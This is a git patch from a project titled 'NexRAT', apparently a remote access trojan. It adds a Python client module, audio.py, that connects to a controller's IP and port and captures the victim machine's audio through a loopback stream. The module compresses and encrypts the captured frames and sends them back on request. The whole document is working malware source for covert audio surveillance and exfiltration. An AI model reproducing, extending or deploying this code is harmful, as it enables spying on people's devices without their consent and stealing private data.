From 18a3d3bc354e667bc58385e59745b82b53695139 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:06:25 +0200 Subject: NexRAT --- Modules/Clients/audio.py | 57 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 Modules/Clients/audio.py (limited to 'Modules/Clients/audio.py') diff --git a/Modules/Clients/audio.py b/Modules/Clients/audio.py new file mode 100644 index 0000000..a1a8d40 --- /dev/null +++ b/Modules/Clients/audio.py @@ -0,0 +1,57 @@ +import pyaudio +import socket +import pickle +import zlib + +from Specific.encrypt import Encryption +from sys import exit + + +def Audio(ip, port, encoding): + try: + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + + e = Encryption() + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, port)) + + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + CHANNELS = 2 + RATE = 44100 + p = pyaudio.PyAudio() + stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK, as_loopback=True) + + while True: + try: + Audio_msg = s.recv(1024) + + if new_msg: + msg_len = int(Audio_msg[:headersize]) + new_msg = False + + full_msg += Audio_msg + + if len(full_msg)-headersize == msg_len: + frame = stream.read(CHUNK) + + frame = pickle.dumps(frame) + frame = zlib.compress(frame, 1) + frame = e.do_encrypt(frame) + + final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame + s.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + stream.stop_stream() + stream.close() + p.terminate() + exit(0) + except: + exit(0) \ No newline at end of file -- cgit v1.2.3